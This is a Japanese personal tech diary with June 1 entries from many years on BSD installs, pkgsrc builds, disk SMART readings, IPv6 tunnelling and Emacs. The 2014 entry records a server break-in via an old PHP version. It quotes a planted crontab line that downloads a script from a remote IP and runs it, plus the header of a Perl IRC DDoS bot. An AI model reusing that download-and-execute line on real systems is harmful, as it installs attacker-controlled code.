|
|
便利なツール Emacs らくらく 入門 |
|
Namazu for hns による簡易全文検索 詳しくは 詳細指定/ヘルプを参照して下さい |
||||||||||||||||||||||||||||||||||||||||||||||||
2022年06月01日(水) 旧暦 [n年日記] [更新:"2022/06/01 15:39:25"]#1 [NetBSD] CTWN at clean install
( つっこみ )
2014年06月01日(日) 旧暦 [n年日記] [更新:"2014/06/01 10:19:22"]#1 [pkgsrc] DDoS
05/18 の日記
に、「任意の bash or perl script を実行」そして、「一応手当てしたけれど」と書いた
どうもこれは php-5.2.14 が入っていた所為らしい。 crontab を書替えられる、とか、散々だった。 #@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/shこんなものも perl.txt.1 という名前で置いてあった #!/usr/bin/perl ############################################################################# ############################################################################# ## DDoS Perl IrcBot v1.0 / 2012 by DDoS Security Team ## [ Help ] #### ## Stealth MultiFunctional IrcBot writen in Perl ############## ## Teste on every system with PERL instlled ## !u @systemそれで次の版に更新した php-5.4.26nb1 PHP Hypertext Preprocessor version 5.4 ap2-php54-5.4.26 Apache (apache2) module for PHP5.4 php54-mysql-5.4.26 PHP extension for MySQL databases php54-pgsql-5.4.26 PHP extension for PostgreSQL databases php54-mbstring-5.4.26 PHP extension for multibyte characters supportこの時に必要だった packages は次の通り -rw-r--r-- 1 makoto wheel 2885641 Jun 1 09:52 openssl-1.0.1gnb1.tgz -rw-r--r-- 1 makoto wheel 22049 Jun 1 09:25 php54-mysql-5.4.26.tgz -rw-r--r-- 1 makoto wheel 2164469 Jun 1 09:24 ap2-php54-5.4.26.tgz -rw-r--r-- 1 makoto wheel 45785 Jun 1 09:02 php54-pgsql-5.4.26.tgz -rw-r--r-- 1 makoto wheel 631550 Jun 1 08:53 php54-mbstring-5.4.26.tgz -rw-r--r-- 1 makoto wheel 4432685 Jun 1 08:52 php-5.4.26nb1.tgz -rw-r--r-- 1 makoto wheel 11736461 Jun 1 08:00 mysql-client-5.5.36nb1.tgz -rw-r--r-- 1 makoto wheel 2940164 Jun 1 07:53 apache-2.0.65nb2.tgz -rw-r--r-- 1 makoto wheel 2822900 Jun 1 07:44 postgresql91-client-9.1.12.tgz -rw-r--r-- 1 makoto wheel 435917 Jun 1 07:21 apr-0.9.20.2.0.65nb1.tgz -rw-r--r-- 1 makoto wheel 2122095 Jun 1 06:34 libxml2-2.9.1nb1.tgz -rw-r--r-- 1 makoto wheel 323576 Mar 22 07:02 xz-5.0.5.tgz他の chrooted の 5.2 の機械で pbulk で作った。その時に使った limited list は次の通り lang/php54 converters/php-mbstring databases/php-mysql databases/php-pgsql www/ap-phpまた (chroot の中の) /etc/mk.conf に次のようにも書いておいた PKG_PHP_VERSION=54 PHP_VERSION_REQD=54pkg_delete -n hoge を使って調べながら、手動で一つづつ入替えた。 (関係あるかな) ( つっこみ )
2013年06月01日(土) 旧暦 [n年日記] [更新:"2013/06/01 17:30:08"]#2 [wip] wip/gdb (7.5.1)
env DEJAGNU=/usr/pkgsrc/wip/gdb/work/gdb-7.5.1/gdb/testsuite/config/default.exp make test
(took some 60 minutes) dragon343@makoto 16:47:40/130601(..wip/gdb)% tail -12 ./work/gdb-7.5.1/gdb/testsuite/gdb.sum === gdb Summary === # of expected passes 4970 # of unexpected failures 3051 # of expected failures 35 # of known failures 20 # of untested testcases 174 # of unresolved testcases 201 # of unsupported tests 149 /usr/pkgsrc/wip/gdb/work/gdb-7.5.1/gdb/testsuite/../../gdb/gdb version 7.5.1 -nw -nx -data-directory /usr/pkgsrc/wip/gdb/work/gdb-7.5.1/gdb/testsuite/../data-directory ( つっこみ )
#1 [DragonFly] DragonFly i386 BSD 3.4.205/05 に DragonFly BSD 3.4.1 を入れた。この時は 15GB。しかし gdb を作ろうとしたりしている時に、disk が溢れてしまった。 3.4.1 と 3.4.2 は大きく違わない、 という話を読んだ気もするが、 入直すなら新しい方が良いので、今回は 30GB にして、3.4.2 を入れる 今回は allbsd.org から iso-image をもらって来た
keymap="jp.106" # via installer configuration @ ^P ^N ^A ^E が効かない。tcsh だと効く:
zsh で、今回も ^P ^N ^A ^E が効かない。tcsh だと効くので
zsh の作り方に関係するのかな。自分で作らないで
pkgin
して見よう
pkgin install zshしても動作が変らない。~/.zshrc を 良く見たら、NetBSD 版では必要のない bindkey -eを書いておけば、DragonFly でも同じように動くことが分った。
> uname -a DragonFly dragon342.i.ki.nu 3.4-RELEASE DragonFly v3.4.2-RELEASE #2: Mon May 27 20:28:43 PDT 2013 root@pkgbox32.dragonflybsd.org:/usr/obj/build/home/justin/src/sys/GENERIC i386 @ 今回の Xen の設定は次の通り:xen3@makoto 12:30:09/130601(~)% cat /usr/pkg/etc/xen/disk-e kernel = "/usr/pkg/lib/xen/boot/hvmloader" builder='hvm' memory = 2048 name = "disk-e-dragonflyBSD-3.4.2" vif = [ 'mac=00:16:3e:01:25:31,bridge=bridge0,type=ioemu' ] device_model = '/usr/pkg/libexec/qemu-dm' disk = [ 'phy:/dev/rwd1e, ioemu:hda,w'] # 'file:/e/tera3/iso/dfly-i386-3.4.2_RELEASE.iso, ioemu:hdc:cdrom,r'] pae = 1 boot ='dca' #dl = 1 usb = 1 vnc = 1 usbdevice='tablet' keymap = 'ja' sudo xm create disk-eとした後に vncviewer :0 で画面を開けて作業をする。 @ gcc binutils gdb の版:dragon342@makoto 12:45:52/130601(~)% gcc --version gcc 4.7.2 [DragonFly] Release/2012-09-20 Copyright (C) 2012 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. dragon342@makoto 12:46:05/130601(~)% as --version GNU assembler (GNU Binutils) 2.22 Copyright 2011 Free Software Foundation, Inc. This program is free software; you may redistribute it under the terms of the GNU General Public License version 3 or later. This program has absolutely no warranty. This assembler was configured for a target of `i386-just-dragonfly'.gdb 7.4.1 dragon342@makoto 12:46:09/130601(~)% gdb --version GNU gdb (GDB) 7.4.1 Copyright (C) 2012 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i386-dragonfly". For bug reporting instructions, please see: <http://bugs.dragonflybsd.org/>. ( つっこみ )
2009年06月01日(月) 旧暦 [n年日記] [更新:"2009/06/02 01:47:53"]#1 [機械] Lets' Note CF-R2 now boots NetBSD/5.0
DRIVER_IRQL_NOT_LESS_OR_EQUAL -- NDIS.sys で窓 OS が動かなくなった Lets' Note CF-R2 だけれど、 netboot で NetBSD/5.0 を起動したら、問題なく sysinst まで立上り、媒体に ftp を指定しサーバに ftp.jp.netbsd.org を指定して sysinst が無事完了した。次に起動する時には、 ACPI を disable しておく必要がある。そうでないと kernel が立上る時に panic する。 これは何かを調整すればいいのかとは思っている。 しかし、考えたら、suspend/resume はどうやるのか分っていない。 acpi 経由しかないとしたら、disable acpi ではだめか。 syncing disks... done unmounting file systems...done ACPI Error (hwacpi-0156): No SMI_CMD in FADT, mode transition failed [20080321] ACPI Error (evxfevnt-0221): Could not exit ACPI mode to legacy mode [20080321] The operating system has halted. Please press any key to reboot.(電源は切れない) port-i386 ( つっこみ )
2008年06月01日(日) 旧暦 [n年日記] [更新:"2008/06/02 00:26:46"]#1 [NetBSD] atactl で HDD の様子を採取
かわうちさん
のところから
ttyq5:makoto@genova 0:09:52/080602(~)> sudo atactl wd0 smart status SMART supported, SMART enabled id value thresh crit collect reliability description raw 1 100 6 yes online positive Raw read error rate 0 3 98 0 no online positive Spin-up time 0 4 100 20 yes online positive Start/stop count 83 5 100 36 yes online positive Reallocated sector count 0 7 76 30 yes online positive Seek error rate 47017100 9 97 0 no online positive Power-on hours count 2978 10 100 97 yes online positive Spin retry count 0 12 100 20 yes online positive Device power cycle count 83 184 100 0 no online positive Unknown 0 187 100 0 no online positive Unknown 0 189 100 0 no online positive Unknown 0 190 62 0 no online positive Unknown 639959078 194 38 0 no offline positive Temperature 38 Lifetime max/min 0/16 195 77 0 no online positive Hardware ECC Recovered 220470474 197 100 0 no offline positive Current pending sector 0 198 100 0 no offline positive Offline uncorrectable 0 199 200 0 no offline positive Ultra DMA CRC error count 0 ttyq5:makoto@genova 0:09:59/080602(~)>
ttyp0:makoto@modena 0:18:19/080602(~)> sudo atactl wd1 smart status SMART supported, SMART enabled id value thresh crit collect reliability description raw 1 100 6 yes online positive Raw read error rate 0 3 98 0 no online positive Spin-up time 0 4 100 20 yes online positive Start/stop count 99 5 100 36 yes online positive Reallocated sector count 0 7 75 30 yes online positive Seek error rate 29677452 9 98 0 no online positive Power-on hours count 2350 10 100 97 yes online positive Spin retry count 0 12 100 20 yes online positive Device power cycle count 99 184 100 0 no online positive Unknown 0 187 100 0 no online positive Unknown 0 189 100 0 no online positive Unknown 0 190 60 0 no online positive Unknown 739835944 194 40 0 no offline positive Temperature 40 Lifetime max/min 0/15 195 73 0 no online positive Hardware ECC Recovered 221187833 197 100 0 no offline positive Current pending sector 0 198 100 0 no offline positive Offline uncorrectable 0 199 200 0 no offline positive Ultra DMA CRC error count 0 ttyp0:makoto@modena 0:18:41/080602(~)>ちなみに、次のもの wd0 at atabus1 drive 0: <FB080C4080> ( つっこみ )
2007年06月01日(金) 旧暦 [n年日記] [更新:"2007/06/02 00:58:59"]#1 [Network] 回線接断 (8:10 - 10:00)
何故か 2007/06/01 08:10 から B-flets の認証が取れない状態になっていた。
あちこちに電話で聞いて、最後の処方箋が
もし IP 電話だったら、かかるのかな ? ( つっこみ )
2006年06月01日(木) 旧暦 [n年日記] [更新:"2006/06/01 10:25:13"]#2 [ssh][X11] ssh -X を知らなかった
某氏の日記を見ていたら、書いてあったので試してみたら、
emacs-nox11-21.4a GNU editing macros (editor)しか入っていなくて emacs は試せなかった。 なるほど便利。入門 ssh に書いてあったかなぁ。.. 少なくとも索引には ssh -X の項目がない。 p133 にそれらしいことが書いてある。
gimp は LANG を ja_JP.eucJP にしておくと次のようになってしまう (script-fu:2292): LibGimpBase-WARNING **: script-fu: wire_read(): error Segmentation fault (core dumped)ので、次のようにする env LANG=C DISPLAY=my_host:0.0 gimp上の確認は全然意味がなかった。ssh しなくても xauth を使って、単なる ssh でも動く設定にしてあって、 その上での確認だった ;-( ( つっこみ )
#1 [Network][Abuse] track back 攻撃 の数
これが全てという数ではなく:
( つっこみ )
2004年06月01日(火) 旧暦 [n年日記]#3 [pkgsrc] FreeWnn
atod と
Noun.place.dic が必要だとする。
atod は (pkgsrc なら) inputmethod/ja-freewnn-server-bin に入っている。 Noun.place.dic は ipadic-2.7.0.tar.gz を開ければ良い ttypb:makoto@harry 16:24:10/040601(...work/ipadic-2.7.0)> ack -e Noun.place.dic \ pubdic/noun.place.dic ((place.h)) : 指定された辞書は逆引き可能ではありません ともこさんから 。 (どうも ~/.eggrc の変更場所を間違えたようだ)。正しく加えれば、これは出ない。 ( つっこみ )
#2 [本] 章立
ISBN: 4-7741-2041-3
1 章 Emacs 入門 Emacs を初めて使う方のための入門編 2 章 日本語環境 日本語表示・入力の方法 3 章 使い方(編集機能) 基本的な使い方 4 章 使い方(各種モード) Emacs に内蔵されている編集モード 5 章 メール環境 Wanderlust 6 章 Emacs Lisp パッケージ Web・LaTeX・CVS 管理 7 章 Emacs Lisp Emacs Lisp の初歩 8 章 個人設定 ~/.emacs とカスタマイズの画面 9 章 Emacs 使いこなし ヘルプ・オンラインドキュメント ・符号体系 付録 A Emacs 本体の設置 ports/pkgsrc 一般設置 ちょっと特別な Mac OS X B 設置(追加パッケージ) tamago, Elisp, Wanderlust, emacs-w3m C 設置(日本語入力) FreeWnn D 設置(関連ソフトウェア) wget Namazu, w3m @ (どこにも書かなかった)コラム索引:Del を入力しても 「1 文字消去にならない」 ..... 30 困った時の C-g ..... 35 環境変数 ..... 51 tamago でのひらがな入力 ..... 79 BackSpace と Del が本書に書いてあるように動作しない .... 156 %m と A または Q を組合せて横断検索や、横断置換をするには .... 171 メーリング・リストの最新 100 だけをいつもみる .... 273 defvar (変数の定義) .... 312 emacs -nw でツールバーを利用 .... 374 符号体系を決めて開けたい .... 376 FreeBSD ports .... 383 /usr か /usr/local か .... 392 ことえりを使ってインライン入力をするには .... 400 tamago と順次検索 .... 404 バイトコンパイル .... 416 @ きょうの順位 3,756:( つっこみ )
#1 [pkgsrc] startssl failsttyp7:makoto@harry 8:24:49/040601(/tmp)> sudo /usr/pkg/sbin/apachectl startssl Password: Syntax error on line 232 of /usr/pkg/etc/httpd/httpd.conf: Cannot load /usr/pkg/lib/httpd/mod_php4.so into server: Cannot open "/usr/pkg/lib/httpd/mod_php4.so" @ install mod_php4.so:433 8:28 cd /export/pkgsrc/www/ap-php4/ 434 8:28 make 435 8:29 make install 438 8:29 rm -rf work/ 439 8:29 sudo rm -rf work 440 8:30 cvs update -dP -C 441 8:30 make 442 8:38 sudo pkg_delete -f php-4.3.4 443 8:38 make 444 8:53 make install ===> Registering installation for ap-php-4.3.6nb1 ap-php-4.3.6nb1 requires installed package apache-2.0.49nb1 ttyp7:makoto@harry 8:54:12/040601(...www/ap-php4)> @ startssl again:ttyp7:makoto@harry 8:54:31/040601(...www/ap-php4)> sudo /usr/pkg/sbin/apachectl startssl Password: [Tue Jun 01 08:55:17 2004] [error] VirtualHost _default_:443 -- mixing * ports and non-* ports with a NameVirtualHost address is not supported, proceeding with undefined results Apache/2.0.49 mod_ssl/2.0.49 (Pass Phrase Dialog) Some of your private key files are encrypted for security reasons. In order to read them you have to provide us with the pass phrases. Server www.example.com:443 (RSA) Enter pass phrase: Ok: Pass Phrase Dialog successful. ttyp7:makoto@harry 8:55:24/040601(...www/ap-php4)> @ entity encoding になって、字が化けてしまう ?:
etc/php.ini を変更したら、化けなくなった
;default_charset = "iso-8859-1" +default_charset = "euc-japan"これでいいとしよう。 ( つっこみ )
2001年06月01日(金) 旧暦 [n年日記]#1 [IPv6] FreeBSD 4 の場合という説明
があるのを発見。
@ しかも、きのうの日記を見て、kernel の stf つまり:#pseudo-device stf 1 # 6to4 IPv6 over IPv4 encapsulationの設定は不要というお手紙を下さった方がいらっしゃいました。 で、実はきのう余り寝ていないので、この辺で.と思ったけれど、 @ tunnel の機械の方で、/etc.rc.inet6:makoto@nazuha ■22:56:08/010601(~)> cat /etc/rc.inet6 /sbin/sysctl -w net.inet6.ip6.forwarding=1 /sbin/sysctl -w net.inet6.ip6.accept_rtadv=0 #/usr/sbin/prefix gm0 2001:218a:463:0001:: /sbin/ifconfig gm0 inet6 2001:218a:463:0001:: anycast ifconfig gif0 create ifconfig gif0 tunnel 210.145.40.126 210.OOO.CCC.NNN /sbin/route add -inet6 default -ifp gif0 makoto@nazuha ■22:56:23/010601(~)>いうのを作って、/etc.rc.conf に次のように書いておくと、 if [ -r /etc/inet6.rc]; then . /etc/inet6.rc fi @ ping6 -I gif0 ff02::1 は出来る:makoto@nazuha ■22:59:02/010601(~)> ping6 -I gif0 ff02::1 PING6(56=40+8+8 bytes) fe80::20a:27ff:feb6:8546%gif0 --> ff02::1 16 bytes from fe80::20a:27ff:feb6:8546%gif0, icmp_seq=0 hlim=64 time=0.369 ms 16 bytes from fe80::20a:27ff:feb6:8546%gif0, icmp_seq=1 hlim=64 time=0.159 ms ^C --- ff02::1 ping6 statistics --- 2 packets transmitted, 2 packets received, 0% packet loss round-trip min/avg/max/std-dev = 0.159/0.264/0.369/0.105 ms makoto@nazuha ■22:59:05/010601(~)> @ ping6, traceroute6 to 2001:218:0:100 は出来ない。:route add -inet6 default :: -ifp gif0 の後に、 root@nazuha 23:01:41/010601(/home/makoto)# ping6 2001:218:0:1000::1 PING6(56=40+8+8 bytes) 2001:218:463::1:101:17e --> 2001:218:0:1000::1 ^C --- 2001:218:0:1000::1 ping6 statistics --- 4 packets transmitted, 0 packets received, 100% packet loss root@nazuha 23:01:47/010601(/home/makoto)# traceroute !$ traceroute 2001:218:0:1000::1 traceroute: unknown host 2001:218:0:1000::1 root@nazuha 23:01:51/010601(/home/makoto)# traceroute6 2001:218:0:1000::1 traceroute6 to 2001:218:0:1000::1 (2001:218:0:1000::1) from 2001:218:463::1:101:17e, 30 hops max, 12 byte packets 1 * *^C root@nazuha 23:02:06/010601(/home/makoto)#IPv6 address の読み方(解釈)が分っていないのが一番の問題そう。 @ netstat -r だけは調べておこう:
続きは明日にしよう (23:07) 寝ようと思ったが、
netstat -r だけは調べておこう
( つっこみ )
2000年06月01日(木) 旧暦 [n年日記]#3 [KINESIS] に espresso
をつなげばという話があった(ような気がする)
( つっこみ )
#2 [Unix] device driver デバイス・ドライバ
デバイス・ドライバ開発入門
というのは役に立ちそうにも..
( つっこみ )
#1 [Emacs] 20.6.91
emcws-20.6.90-20000525 を当てたら、20.6.90 という文字列の
あたりで当らなかったので、patch を作って見た。
emcws-20.6.91-20000601a.gz
ついでに canna も試して見ようとしたら /usr/local/share/emacs/site-lisp/egg/egg/canna.elc などというのがあるので、これを消しておいて cd /usr/local/share/emacs/site-lisp mv egg .egg load-library してから M-x canna したら、使えている。 time make (NetBSD/macppc -1.4V, StarMax 3000/240) Updating /usr/local/src/emcws-work/leim/leim-list.el ... done 567.217u 94.638s 13:22.77 82.4% 0+0k 5112+10405io 3329pf+0w du -s emcws-work emacs-20.6.91 49532 emcws-work (25M) 132370 emacs-20.6.91 (66M) kbytes で表示するためには du -sk とする必要があった。 ( つっこみ )
|
最近の日記 2025年01月15日 ・今更 advent calendar 2025年01月12日 ・金柑収穫 2025年01月07日 ・sh: 1: not found ・sh: 1: not found 2025年01月02日 ・geography/R-s2 | ||||||||||||||||||